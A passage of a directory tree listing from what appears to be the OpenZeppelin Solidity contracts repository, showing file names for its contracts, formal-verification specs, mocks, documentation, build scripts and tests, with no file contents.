│ │ │ │ │ │ ├── InitializableHarness.sol
│ │ │ │ │ │ ├── NoncesHarness.sol
│ │ │ │ │ │ ├── Ownable2StepHarness.sol
│ │ │ │ │ │ ├── OwnableHarness.sol
│ │ │ │ │ │ ├── PausableHarness.sol
│ │ │ │ │ │ └── TimelockControllerHarness.sol
│ │ │ │ │ ├── reports
│ │ │ │ │ │ ├── 2021-10.pdf
│ │ │ │ │ │ ├── 2022-03.pdf
│ │ │ │ │ │ └── 2022-05.pdf
│ │ │ │ │ ├── run.js
│ │ │ │ │ ├── specs.json
│ │ │ │ │ └── specs
│ │ │ │ │ │ ├── AccessControl.spec
│ │ │ │ │ │ ├── AccessControlDefaultAdminRules.spec
│ │ │ │ │ │ ├── AccessManaged.spec
│ │ │ │ │ │ ├── AccessManager.spec
│ │ │ │ │ │ ├── DoubleEndedQueue.spec
│ │ │ │ │ │ ├── ERC20.spec
│ │ │ │ │ │ ├── ERC20FlashMint.spec
│ │ │ │ │ │ ├── ERC20Wrapper.spec
│ │ │ │ │ │ ├── ERC721.spec
│ │ │ │ │ │ ├── EnumerableMap.spec
│ │ │ │ │ │ ├── EnumerableSet.spec
│ │ │ │ │ │ ├── Initializable.spec
│ │ │ │ │ │ ├── Nonces.spec
│ │ │ │ │ │ ├── Ownable.spec
│ │ │ │ │ │ ├── Ownable2Step.spec
│ │ │ │ │ │ ├── Pausable.spec
│ │ │ │ │ │ ├── TimelockController.spec
│ │ │ │ │ │ ├── helpers
│ │ │ │ │ │ └── helpers.spec
│ │ │ │ │ │ └── methods
│ │ │ │ │ │ ├── IAccessControl.spec
│ │ │ │ │ │ ├── IAccessControlDefaultAdminRules.spec
│ │ │ │ │ │ ├── IAccessManaged.spec
│ │ │ │ │ │ ├── IAccessManager.spec
│ │ │ │ │ │ ├── IERC20.spec
│ │ │ │ │ │ ├── IERC2612.spec
│ │ │ │ │ │ ├── IERC3156FlashBorrower.spec
│ │ │ │ │ │ ├── IERC3156FlashLender.spec
│ │ │ │ │ │ ├── IERC5313.spec
│ │ │ │ │ │ ├── IERC721.spec
│ │ │ │ │ │ ├── IERC721Receiver.spec
│ │ │ │ │ │ ├── IOwnable.spec
│ │ │ │ │ │ └── IOwnable2Step.spec
│ │ │ │ │ ├── contracts
│ │ │ │ │ ├── access
│ │ │ │ │ │ ├── AccessControl.sol
│ │ │ │ │ │ ├── IAccessControl.sol
│ │ │ │ │ │ ├── Ownable.sol
│ │ │ │ │ │ ├── Ownable2Step.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── AccessControlDefaultAdminRules.sol
│ │ │ │ │ │ │ ├── AccessControlEnumerable.sol
│ │ │ │ │ │ │ ├── IAccessControlDefaultAdminRules.sol
│ │ │ │ │ │ │ └── IAccessControlEnumerable.sol
│ │ │ │ │ │ └── manager
│ │ │ │ │ │ │ ├── AccessManaged.sol
│ │ │ │ │ │ │ ├── AccessManager.sol
│ │ │ │ │ │ │ ├── AuthorityUtils.sol
│ │ │ │ │ │ │ ├── IAccessManaged.sol
│ │ │ │ │ │ │ ├── IAccessManager.sol
│ │ │ │ │ │ │ └── IAuthority.sol
│ │ │ │ │ ├── account
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ ├── draft-ERC4337Utils.sol
│ │ │ │ │ │ │ └── draft-ERC7579Utils.sol
│ │ │ │ │ ├── finance
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── VestingWallet.sol
│ │ │ │ │ │ └── VestingWalletCliff.sol
│ │ │ │ │ ├── governance
│ │ │ │ │ │ ├── Governor.sol
│ │ │ │ │ │ ├── IGovernor.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── TimelockController.sol
│ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ ├── GovernorCountingFractional.sol
│ │ │ │ │ │ │ ├── GovernorCountingOverridable.sol
│ │ │ │ │ │ │ ├── GovernorCountingSimple.sol
│ │ │ │ │ │ │ ├── GovernorPreventLateQuorum.sol
│ │ │ │ │ │ │ ├── GovernorSettings.sol
│ │ │ │ │ │ │ ├── GovernorStorage.sol
│ │ │ │ │ │ │ ├── GovernorTimelockAccess.sol
│ │ │ │ │ │ │ ├── GovernorTimelockCompound.sol
│ │ │ │ │ │ │ ├── GovernorTimelockControl.sol
│ │ │ │ │ │ │ ├── GovernorVotes.sol
│ │ │ │ │ │ │ └── GovernorVotesQuorumFraction.sol
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ ├── IVotes.sol
│ │ │ │ │ │ │ ├── Votes.sol
│ │ │ │ │ │ │ └── VotesExtended.sol
│ │ │ │ │ ├── interfaces
│ │ │ │ │ │ ├── IERC1155.sol
│ │ │ │ │ │ ├── IERC1155MetadataURI.sol
│ │ │ │ │ │ ├── IERC1155Receiver.sol
│ │ │ │ │ │ ├── IERC1271.sol
│ │ │ │ │ │ ├── IERC1363.sol
│ │ │ │ │ │ ├── IERC1363Receiver.sol
│ │ │ │ │ │ ├── IERC1363Spender.sol
│ │ │ │ │ │ ├── IERC165.sol
│ │ │ │ │ │ ├── IERC1820Implementer.sol
│ │ │ │ │ │ ├── IERC1820Registry.sol
│ │ │ │ │ │ ├── IERC1967.sol
│ │ │ │ │ │ ├── IERC20.sol
│ │ │ │ │ │ ├── IERC20Metadata.sol
│ │ │ │ │ │ ├── IERC2309.sol
│ │ │ │ │ │ ├── IERC2612.sol
│ │ │ │ │ │ ├── IERC2981.sol
│ │ │ │ │ │ ├── IERC3156.sol
│ │ │ │ │ │ ├── IERC3156FlashBorrower.sol
│ │ │ │ │ │ ├── IERC3156FlashLender.sol
│ │ │ │ │ │ ├── IERC4626.sol
│ │ │ │ │ │ ├── IERC4906.sol
│ │ │ │ │ │ ├── IERC5267.sol
│ │ │ │ │ │ ├── IERC5313.sol
│ │ │ │ │ │ ├── IERC5805.sol
│ │ │ │ │ │ ├── IERC6372.sol
│ │ │ │ │ │ ├── IERC721.sol
│ │ │ │ │ │ ├── IERC721Enumerable.sol
│ │ │ │ │ │ ├── IERC721Metadata.sol
│ │ │ │ │ │ ├── IERC721Receiver.sol
│ │ │ │ │ │ ├── IERC777.sol
│ │ │ │ │ │ ├── IERC777Recipient.sol
│ │ │ │ │ │ ├── IERC777Sender.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── draft-IERC1822.sol
│ │ │ │ │ │ ├── draft-IERC4337.sol
│ │ │ │ │ │ ├── draft-IERC6093.sol
│ │ │ │ │ │ ├── draft-IERC7579.sol
│ │ │ │ │ │ └── draft-IERC7674.sol
│ │ │ │ │ ├── metatx
│ │ │ │ │ │ ├── ERC2771Context.sol
│ │ │ │ │ │ ├── ERC2771Forwarder.sol
│ │ │ │ │ │ └── README.adoc
│ │ │ │ │ ├── mocks
│ │ │ │ │ │ ├── AccessManagedTarget.sol
│ │ │ │ │ │ ├── AccessManagerMock.sol
│ │ │ │ │ │ ├── ArraysMock.sol
│ │ │ │ │ │ ├── AuthorityMock.sol
│ │ │ │ │ │ ├── Base64Dirty.sol
│ │ │ │ │ │ ├── BatchCaller.sol
│ │ │ │ │ │ ├── CallReceiverMock.sol
│ │ │ │ │ │ ├── ConstructorMock.sol
│ │ │ │ │ │ ├── ContextMock.sol
│ │ │ │ │ │ ├── DummyImplementation.sol
│ │ │ │ │ │ ├── EIP712Verifier.sol
│ │ │ │ │ │ ├── ERC1271WalletMock.sol
│ │ │ │ │ │ ├── ERC165
│ │ │ │ │ │ │ ├── ERC165InterfacesSupported.sol
│ │ │ │ │ │ │ ├── ERC165MaliciousData.sol
│ │ │ │ │ │ │ ├── ERC165MissingData.sol
│ │ │ │ │ │ │ ├── ERC165NotSupported.sol
│ │ │ │ │ │ │ └── ERC165ReturnBomb.sol
│ │ │ │ │ │ ├── ERC2771ContextMock.sol
│ │ │ │ │ │ ├── ERC3156FlashBorrowerMock.sol
│ │ │ │ │ │ ├── EtherReceiverMock.sol
│ │ │ │ │ │ ├── InitializableMock.sol
│ │ │ │ │ │ ├── MerkleProofCustomHashMock.sol
│ │ │ │ │ │ ├── MerkleTreeMock.sol
│ │ │ │ │ │ ├── MulticallHelper.sol
│ │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol
│ │ │ │ │ │ ├── PausableMock.sol
│ │ │ │ │ │ ├── ReentrancyAttack.sol
│ │ │ │ │ │ ├── ReentrancyMock.sol
│ │ │ │ │ │ ├── ReentrancyTransientMock.sol
│ │ │ │ │ │ ├── RegressionImplementation.sol
│ │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol
│ │ │ │ │ │ ├── Stateless.sol
│ │ │ │ │ │ ├── StorageSlotMock.sol
│ │ │ │ │ │ ├── TimelockReentrant.sol
│ │ │ │ │ │ ├── TransientSlotMock.sol
│ │ │ │ │ │ ├── UpgradeableBeaconMock.sol
│ │ │ │ │ │ ├── VotesExtendedMock.sol
│ │ │ │ │ │ ├── VotesMock.sol
│ │ │ │ │ │ ├── account
│ │ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ │ └── ERC7579UtilsMock.sol
│ │ │ │ │ │ ├── compound
│ │ │ │ │ │ │ └── CompTimelock.sol
│ │ │ │ │ │ ├── docs
│ │ │ │ │ │ │ ├── ERC20WithAutoMinerReward.sol
│ │ │ │ │ │ │ ├── ERC4626Fees.sol
│ │ │ │ │ │ │ ├── MyNFT.sol
│ │ │ │ │ │ │ ├── access-control
│ │ │ │ │ │ │ │ ├── AccessControlERC20MintBase.sol
│ │ │ │ │ │ │ │ ├── AccessControlERC20MintMissing.sol
│ │ │ │ │ │ │ │ ├── AccessControlERC20MintOnlyRole.sol
│ │ │ │ │ │ │ │ ├── AccessControlModified.sol
│ │ │ │ │ │ │ │ ├── AccessControlNonRevokableAdmin.sol
│ │ │ │ │ │ │ │ ├── AccessManagedERC20MintBase.sol
│ │ │ │ │ │ │ │ └── MyContractOwnable.sol
│ │ │ │ │ │ │ ├── governance
│ │ │ │ │ │ │ │ ├── MyGovernor.sol
│ │ │ │ │ │ │ │ ├── MyToken.sol
│ │ │ │ │ │ │ │ ├── MyTokenTimestampBased.sol
│ │ │ │ │ │ │ │ └── MyTokenWrapped.sol
│ │ │ │ │ │ │ ├── token
│ │ │ │ │ │ │ │ ├── ERC1155
│ │ │ │ │ │ │ │ │ ├── GameItems.sol
│ │ │ │ │ │ │ │ │ └── MyERC115HolderContract.sol
│ │ │ │ │ │ │ │ ├── ERC20
│ │ │ │ │ │ │ │ │ └── GLDToken.sol
│ │ │ │ │ │ │ │ └── ERC721
│ │ │ │ │ │ │ │ │ └── GameItem.sol
│ │ │ │ │ │ │ └── utilities
│ │ │ │ │ │ │ │ ├── Base64NFT.sol
│ │ │ │ │ │ │ │ └── Multicall.sol
│ │ │ │ │ │ ├── governance
│ │ │ │ │ │ │ ├── GovernorCountingOverridableMock.sol
│ │ │ │ │ │ │ ├── GovernorFractionalMock.sol
│ │ │ │ │ │ │ ├── GovernorMock.sol
│ │ │ │ │ │ │ ├── GovernorPreventLateQuorumMock.sol
│ │ │ │ │ │ │ ├── GovernorStorageMock.sol
│ │ │ │ │ │ │ ├── GovernorTimelockAccessMock.sol
│ │ │ │ │ │ │ ├── GovernorTimelockCompoundMock.sol
│ │ │ │ │ │ │ ├── GovernorTimelockControlMock.sol
│ │ │ │ │ │ │ ├── GovernorVoteMock.sol
│ │ │ │ │ │ │ └── GovernorWithParamsMock.sol
│ │ │ │ │ │ ├── proxy
│ │ │ │ │ │ │ ├── BadBeacon.sol
│ │ │ │ │ │ │ ├── ClashingImplementation.sol
│ │ │ │ │ │ │ └── UUPSUpgradeableMock.sol
│ │ │ │ │ │ └── token
│ │ │ │ │ │ │ ├── ERC1155ReceiverMock.sol
│ │ │ │ │ │ │ ├── ERC1363ForceApproveMock.sol
│ │ │ │ │ │ │ ├── ERC1363NoReturnMock.sol
│ │ │ │ │ │ │ ├── ERC1363ReceiverMock.sol
│ │ │ │ │ │ │ ├── ERC1363ReturnFalseMock.sol
│ │ │ │ │ │ │ ├── ERC1363SpenderMock.sol
│ │ │ │ │ │ │ ├── ERC20ApprovalMock.sol
│ │ │ │ │ │ │ ├── ERC20DecimalsMock.sol
│ │ │ │ │ │ │ ├── ERC20ExcessDecimalsMock.sol
│ │ │ │ │ │ │ ├── ERC20FlashMintMock.sol
│ │ │ │ │ │ │ ├── ERC20ForceApproveMock.sol
│ │ │ │ │ │ │ ├── ERC20GetterHelper.sol
│ │ │ │ │ │ │ ├── ERC20Mock.sol
│ │ │ │ │ │ │ ├── ERC20MulticallMock.sol
│ │ │ │ │ │ │ ├── ERC20NoReturnMock.sol
│ │ │ │ │ │ │ ├── ERC20Reentrant.sol
│ │ │ │ │ │ │ ├── ERC20ReturnFalseMock.sol
│ │ │ │ │ │ │ ├── ERC20VotesAdditionalCheckpointsMock.sol
│ │ │ │ │ │ │ ├── ERC20VotesLegacyMock.sol
│ │ │ │ │ │ │ ├── ERC20VotesTimestampMock.sol
│ │ │ │ │ │ │ ├── ERC4626LimitsMock.sol
│ │ │ │ │ │ │ ├── ERC4626Mock.sol
│ │ │ │ │ │ │ ├── ERC4626OffsetMock.sol
│ │ │ │ │ │ │ ├── ERC4646FeesMock.sol
│ │ │ │ │ │ │ ├── ERC721ConsecutiveEnumerableMock.sol
│ │ │ │ │ │ │ ├── ERC721ConsecutiveMock.sol
│ │ │ │ │ │ │ ├── ERC721ReceiverMock.sol
│ │ │ │ │ │ │ └── ERC721URIStorageMock.sol
│ │ │ │ │ ├── package.json
│ │ │ │ │ ├── proxy
│ │ │ │ │ │ ├── Clones.sol
│ │ │ │ │ │ ├── ERC1967
│ │ │ │ │ │ │ ├── ERC1967Proxy.sol
│ │ │ │ │ │ │ └── ERC1967Utils.sol
│ │ │ │ │ │ ├── Proxy.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── beacon
│ │ │ │ │ │ │ ├── BeaconProxy.sol
│ │ │ │ │ │ │ ├── IBeacon.sol
│ │ │ │ │ │ │ └── UpgradeableBeacon.sol
│ │ │ │ │ │ ├── transparent
│ │ │ │ │ │ │ ├── ProxyAdmin.sol
│ │ │ │ │ │ │ └── TransparentUpgradeableProxy.sol
│ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ ├── Initializable.sol
│ │ │ │ │ │ │ └── UUPSUpgradeable.sol
│ │ │ │ │ ├── token
│ │ │ │ │ │ ├── ERC1155
│ │ │ │ │ │ │ ├── ERC1155.sol
│ │ │ │ │ │ │ ├── IERC1155.sol
│ │ │ │ │ │ │ ├── IERC1155Receiver.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ │ ├── ERC1155Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC1155Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC1155Supply.sol
│ │ │ │ │ │ │ │ ├── ERC1155URIStorage.sol
│ │ │ │ │ │ │ │ └── IERC1155MetadataURI.sol
│ │ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ │ ├── ERC1155Holder.sol
│ │ │ │ │ │ │ │ └── ERC1155Utils.sol
│ │ │ │ │ │ ├── ERC20
│ │ │ │ │ │ │ ├── ERC20.sol
│ │ │ │ │ │ │ ├── IERC20.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ │ ├── ERC1363.sol
│ │ │ │ │ │ │ │ ├── ERC20Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC20Capped.sol
│ │ │ │ │ │ │ │ ├── ERC20FlashMint.sol
│ │ │ │ │ │ │ │ ├── ERC20Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC20Permit.sol
│ │ │ │ │ │ │ │ ├── ERC20Votes.sol
│ │ │ │ │ │ │ │ ├── ERC20Wrapper.sol
│ │ │ │ │ │ │ │ ├── ERC4626.sol
│ │ │ │ │ │ │ │ ├── IERC20Metadata.sol
│ │ │ │ │ │ │ │ ├── IERC20Permit.sol
│ │ │ │ │ │ │ │ └── draft-ERC20TemporaryApproval.sol
│ │ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ │ ├── ERC1363Utils.sol
│ │ │ │ │ │ │ │ └── SafeERC20.sol
│ │ │ │ │ │ ├── ERC721
│ │ │ │ │ │ │ ├── ERC721.sol
│ │ │ │ │ │ │ ├── IERC721.sol
│ │ │ │ │ │ │ ├── IERC721Receiver.sol
│ │ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ │ ├── extensions
│ │ │ │ │ │ │ │ ├── ERC721Burnable.sol
│ │ │ │ │ │ │ │ ├── ERC721Consecutive.sol
│ │ │ │ │ │ │ │ ├── ERC721Enumerable.sol
│ │ │ │ │ │ │ │ ├── ERC721Pausable.sol
│ │ │ │ │ │ │ │ ├── ERC721Royalty.sol
│ │ │ │ │ │ │ │ ├── ERC721URIStorage.sol
│ │ │ │ │ │ │ │ ├── ERC721Votes.sol
│ │ │ │ │ │ │ │ ├── ERC721Wrapper.sol
│ │ │ │ │ │ │ │ ├── IERC721Enumerable.sol
│ │ │ │ │ │ │ │ └── IERC721Metadata.sol
│ │ │ │ │ │ │ └── utils
│ │ │ │ │ │ │ │ ├── ERC721Holder.sol
│ │ │ │ │ │ │ │ └── ERC721Utils.sol
│ │ │ │ │ │ └── common
│ │ │ │ │ │ │ ├── ERC2981.sol
│ │ │ │ │ │ │ └── README.adoc
│ │ │ │ │ ├── utils
│ │ │ │ │ │ ├── Address.sol
│ │ │ │ │ │ ├── Arrays.sol
│ │ │ │ │ │ ├── Base64.sol
│ │ │ │ │ │ ├── Bytes.sol
│ │ │ │ │ │ ├── CAIP10.sol
│ │ │ │ │ │ ├── CAIP2.sol
│ │ │ │ │ │ ├── Comparators.sol
│ │ │ │ │ │ ├── Context.sol
│ │ │ │ │ │ ├── Create2.sol
│ │ │ │ │ │ ├── Errors.sol
│ │ │ │ │ │ ├── Multicall.sol
│ │ │ │ │ │ ├── Nonces.sol
│ │ │ │ │ │ ├── NoncesKeyed.sol
│ │ │ │ │ │ ├── Packing.sol
│ │ │ │ │ │ ├── Panic.sol
│ │ │ │ │ │ ├── Pausable.sol
│ │ │ │ │ │ ├── README.adoc
│ │ │ │ │ │ ├── ReentrancyGuard.sol
│ │ │ │ │ │ ├── ReentrancyGuardTransient.sol
│ │ │ │ │ │ ├── ShortStrings.sol
│ │ │ │ │ │ ├── SlotDerivation.sol
│ │ │ │ │ │ ├── StorageSlot.sol
│ │ │ │ │ │ ├── Strings.sol
│ │ │ │ │ │ ├── TransientSlot.sol
│ │ │ │ │ │ ├── cryptography
│ │ │ │ │ │ │ ├── ECDSA.sol
│ │ │ │ │ │ │ ├── EIP712.sol
│ │ │ │ │ │ │ ├── Hashes.sol
│ │ │ │ │ │ │ ├── MerkleProof.sol
│ │ │ │ │ │ │ ├── MessageHashUtils.sol
│ │ │ │ │ │ │ ├── P256.sol
│ │ │ │ │ │ │ ├── RSA.sol
│ │ │ │ │ │ │ └── SignatureChecker.sol
│ │ │ │ │ │ ├── introspection
│ │ │ │ │ │ │ ├── ERC165.sol
│ │ │ │ │ │ │ ├── ERC165Checker.sol
│ │ │ │ │ │ │ └── IERC165.sol
│ │ │ │ │ │ ├── math
│ │ │ │ │ │ │ ├── Math.sol
│ │ │ │ │ │ │ ├── SafeCast.sol
│ │ │ │ │ │ │ └── SignedMath.sol
│ │ │ │ │ │ ├── structs
│ │ │ │ │ │ │ ├── BitMaps.sol
│ │ │ │ │ │ │ ├── Checkpoints.sol
│ │ │ │ │ │ │ ├── CircularBuffer.sol
│ │ │ │ │ │ │ ├── DoubleEndedQueue.sol
│ │ │ │ │ │ │ ├── EnumerableMap.sol
│ │ │ │ │ │ │ ├── EnumerableSet.sol
│ │ │ │ │ │ │ ├── Heap.sol
│ │ │ │ │ │ │ └── MerkleTree.sol
│ │ │ │ │ │ └── types
│ │ │ │ │ │ │ └── Time.sol
│ │ │ │ │ └── vendor
│ │ │ │ │ │ └── compound
│ │ │ │ │ │ ├── ICompoundTimelock.sol
│ │ │ │ │ │ └── LICENSE
│ │ │ │ │ ├── docs
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── antora.yml
│ │ │ │ │ ├── config.js
│ │ │ │ │ ├── modules
│ │ │ │ │ │ └── ROOT
│ │ │ │ │ │ │ ├── images
│ │ │ │ │ │ │ ├── access-control-multiple.svg
│ │ │ │ │ │ │ ├── access-manager-functions.svg
│ │ │ │ │ │ │ ├── access-manager.svg
│ │ │ │ │ │ │ ├── erc4626-attack-3a.png
│ │ │ │ │ │ │ ├── erc4626-attack-3b.png
│ │ │ │ │ │ │ ├── erc4626-attack-6.png
│ │ │ │ │ │ │ ├── erc4626-attack.png
│ │ │ │ │ │ │ ├── erc4626-deposit.png
│ │ │ │ │ │ │ ├── erc4626-mint.png
│ │ │ │ │ │ │ ├── erc4626-rate-linear.png
│ │ │ │ │ │ │ ├── erc4626-rate-loglog.png
│ │ │ │ │ │ │ ├── erc4626-rate-loglogext.png
│ │ │ │ │ │ │ ├── tally-exec.png
│ │ │ │ │ │ │ └── tally-vote.png
│ │ │ │ │ │ │ ├── nav.adoc
│ │ │ │ │ │ │ └── pages
│ │ │ │ │ │ │ ├── access-control.adoc
│ │ │ │ │ │ │ ├── backwards-compatibility.adoc
│ │ │ │ │ │ │ ├── crowdsales.adoc
│ │ │ │ │ │ │ ├── drafts.adoc
│ │ │ │ │ │ │ ├── erc1155.adoc
│ │ │ │ │ │ │ ├── erc20-supply.adoc
│ │ │ │ │ │ │ ├── erc20.adoc
│ │ │ │ │ │ │ ├── erc4626.adoc
│ │ │ │ │ │ │ ├── erc721.adoc
│ │ │ │ │ │ │ ├── extending-contracts.adoc
│ │ │ │ │ │ │ ├── faq.adoc
│ │ │ │ │ │ │ ├── governance.adoc
│ │ │ │ │ │ │ ├── index.adoc
│ │ │ │ │ │ │ ├── tokens.adoc
│ │ │ │ │ │ │ ├── upgradeable.adoc
│ │ │ │ │ │ │ ├── utilities.adoc
│ │ │ │ │ │ │ └── wizard.adoc
│ │ │ │ │ └── templates
│ │ │ │ │ │ ├── contract.hbs
│ │ │ │ │ │ ├── helpers.js
│ │ │ │ │ │ ├── page.hbs
│ │ │ │ │ │ └── properties.js
│ │ │ │ │ ├── eslint.config.mjs
│ │ │ │ │ ├── foundry.toml
│ │ │ │ │ ├── fv-requirements.txt
│ │ │ │ │ ├── hardhat.config.js
│ │ │ │ │ ├── hardhat
│ │ │ │ │ ├── async-test-sanity.js
│ │ │ │ │ ├── env-artifacts.js
│ │ │ │ │ ├── ignore-unreachable-warnings.js
│ │ │ │ │ ├── remappings.js
│ │ │ │ │ ├── skip-foundry-tests.js
│ │ │ │ │ └── task-test-get-files.js
│ │ │ │ │ ├── lib
│ │ │ │ │ ├── erc4626-tests
│ │ │ │ │ │ ├── ERC4626.prop.sol
│ │ │ │ │ │ ├── ERC4626.test.sol
│ │ │ │ │ │ ├── LICENSE
│ │ │ │ │ │ └── README.md
│ │ │ │ │ ├── forge-std
│ │ │ │ │ │ ├── .gitattributes
│ │ │ │ │ │ ├── .github
│ │ │ │ │ │ │ └── workflows
│ │ │ │ │ │ │ │ ├── ci.yml
│ │ │ │ │ │ │ │ └── sync.yml
│ │ │ │ │ │ ├── .gitignore
│ │ │ │ │ │ ├── CONTRIBUTING.md
│ │ │ │ │ │ ├── LICENSE-APACHE
│ │ │ │ │ │ ├── LICENSE-MIT
│ │ │ │ │ │ ├── README.md
│ │ │ │ │ │ ├── foundry.toml
│ │ │ │ │ │ ├── package.json
│ │ │ │ │ │ ├── scripts
│ │ │ │ │ │ │ └── vm.py
│ │ │ │ │ │ └── test
│ │ │ │ │ │ │ ├── StdAssertions.t.sol
│ │ │ │ │ │ │ ├── StdChains.t.sol
│ │ │ │ │ │ │ ├── StdCheats.t.sol
│ │ │ │ │ │ │ ├── StdError.t.sol
│ │ │ │ │ │ │ ├── StdJson.t.sol
│ │ │ │ │ │ │ ├── StdMath.t.sol
│ │ │ │ │ │ │ ├── StdStorage.t.sol
│ │ │ │ │ │ │ ├── StdStyle.t.sol
│ │ │ │ │ │ │ ├── StdToml.t.sol
│ │ │ │ │ │ │ ├── StdUtils.t.sol
│ │ │ │ │ │ │ ├── Vm.t.sol
│ │ │ │ │ │ │ ├── compilation
│ │ │ │ │ │ │ ├── CompilationScript.sol
│ │ │ │ │ │ │ ├── CompilationScriptBase.sol
│ │ │ │ │ │ │ ├── CompilationTest.sol
│ │ │ │ │ │ │ └── CompilationTestBase.sol
│ │ │ │ │ │ │ ├── fixtures
│ │ │ │ │ │ │ ├── broadcast.log.json
│ │ │ │ │ │ │ ├── test.json
│ │ │ │ │ │ │ └── test.toml
│ │ │ │ │ │ │ └── mocks
│ │ │ │ │ │ │ ├── MockERC20.t.sol
│ │ │ │ │ │ │ └── MockERC721.t.sol
│ │ │ │ │ └── halmos-cheatcodes
│ │ │ │ │ │ ├── LICENSE
│ │ │ │ │ │ └── README.md
│ │ │ │ │ ├── logo.svg
│ │ │ │ │ ├── netlify.toml
│ │ │ │ │ ├── package-lock.json
│ │ │ │ │ ├── package.json
│ │ │ │ │ ├── remappings.txt
│ │ │ │ │ ├── renovate.json
│ │ │ │ │ ├── scripts
│ │ │ │ │ ├── checks
│ │ │ │ │ │ ├── compare-layout.js
│ │ │ │ │ │ ├── compareGasReports.js
│ │ │ │ │ │ ├── coverage.sh
│ │ │ │ │ │ ├── extract-layout.js
│ │ │ │ │ │ ├── generation.sh
│ │ │ │ │ │ ├── inheritance-ordering.js
│ │ │ │ │ │ └── pragma-consistency.js
│ │ │ │ │ ├── gen-nav.js
│ │ │ │ │ ├── generate
│ │ │ │ │ │ ├── format-lines.js
│ │ │ │ │ │ ├── helpers
│ │ │ │ │ │ │ └── sanitize.js
│ │ │ │ │ │ ├── run.js
│ │ │ │ │ │ └── templates
│ │ │ │ │ │ │ ├── Arrays.js
│ │ │ │ │ │ │ ├── Arrays.opts.js
│ │ │ │ │ │ │ ├── Checkpoints.js
│ │ │ │ │ │ │ ├── Checkpoints.opts.js
│ │ │ │ │ │ │ ├── Checkpoints.t.js
│ │ │ │ │ │ │ ├── EnumerableMap.js
│ │ │ │ │ │ │ ├── EnumerableMap.opts.js
│ │ │ │ │ │ │ ├── EnumerableSet.js
│ │ │ │ │ │ │ ├── EnumerableSet.opts.js
│ │ │ │ │ │ │ ├── MerkleProof.js
│ │ │ │ │ │ │ ├── MerkleProof.opts.js
│ │ │ │ │ │ │ ├── Packing.js
│ │ │ │ │ │ │ ├── Packing.opts.js
│ │ │ │ │ │ │ ├── Packing.t.js
│ │ │ │ │ │ │ ├── SafeCast.js
│ │ │ │ │ │ │ ├── Slot.opts.js
│ │ │ │ │ │ │ ├── SlotDerivation.js
│ │ │ │ │ │ │ ├── SlotDerivation.t.js
│ │ │ │ │ │ │ ├── StorageSlot.js
│ │ │ │ │ │ │ ├── StorageSlotMock.js
│ │ │ │ │ │ │ ├── TransientSlot.js
│ │ │ │ │ │ │ ├── TransientSlotMock.js
│ │ │ │ │ │ │ └── conversion.js
│ │ │ │ │ ├── git-user-config.sh
│ │ │ │ │ ├── helpers.js
│ │ │ │ │ ├── prepack.sh
│ │ │ │ │ ├── prepare-docs.sh
│ │ │ │ │ ├── prepare.sh
│ │ │ │ │ ├── remove-ignored-artifacts.js
│ │ │ │ │ ├── solhint-custom
│ │ │ │ │ │ ├── index.js
│ │ │ │ │ │ └── package.json
│ │ │ │ │ ├── update-docs-branch.js
│ │ │ │ │ └── upgradeable
│ │ │ │ │ │ ├── README.md
│ │ │ │ │ │ ├── patch-apply.sh
│ │ │ │ │ │ ├── patch-save.sh
│ │ │ │ │ │ ├── transpile-onto.sh
│ │ │ │ │ │ ├── transpile.sh
│ │ │ │ │ │ └── upgradeable.patch
│ │ │ │ │ ├── slither.config.json
│ │ │ │ │ ├── solhint.config.js
│ │ │ │ │ └── test
│ │ │ │ │ ├── TESTING.md
│ │ │ │ │ ├── access
│ │ │ │ │ ├── AccessControl.behavior.js
│ │ │ │ │ ├── AccessControl.test.js
│ │ │ │ │ ├── Ownable.test.js
│ │ │ │ │ ├── Ownable2Step.test.js
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── AccessControlDefaultAdminRules.test.js
│ │ │ │ │ │ └── AccessControlEnumerable.test.js
│ │ │ │ │ └── manager
│ │ │ │ │ │ ├── AccessManaged.test.js
│ │ │ │ │ │ ├── AccessManager.behavior.js
│ │ │ │ │ │ ├── AccessManager.predicate.js
│ │ │ │ │ │ ├── AccessManager.test.js
│ │ │ │ │ │ └── AuthorityUtils.test.js
│ │ │ │ │ ├── account
│ │ │ │ │ └── utils
│ │ │ │ │ │ ├── draft-ERC4337Utils.test.js
│ │ │ │ │ │ └── draft-ERC7579Utils.test.js
│ │ │ │ │ ├── finance
│ │ │ │ │ ├── VestingWallet.behavior.js
│ │ │ │ │ ├── VestingWallet.test.js
│ │ │ │ │ └── VestingWalletCliff.test.js
│ │ │ │ │ ├── governance
│ │ │ │ │ ├── Governor.t.sol
│ │ │ │ │ ├── Governor.test.js
│ │ │ │ │ ├── TimelockController.test.js
│ │ │ │ │ ├── extensions
│ │ │ │ │ │ ├── GovernorCountingFractional.test.js
│ │ │ │ │ │ ├── GovernorCountingOverridable.test.js
│ │ │ │ │ │ ├── GovernorERC721.test.js
│ │ │ │ │ │ ├── GovernorPreventLateQuorum.test.js
│ │ │ │ │ │ ├── GovernorStorage.test.js
│ │ │ │ │ │ ├── GovernorTimelockAccess.test.js
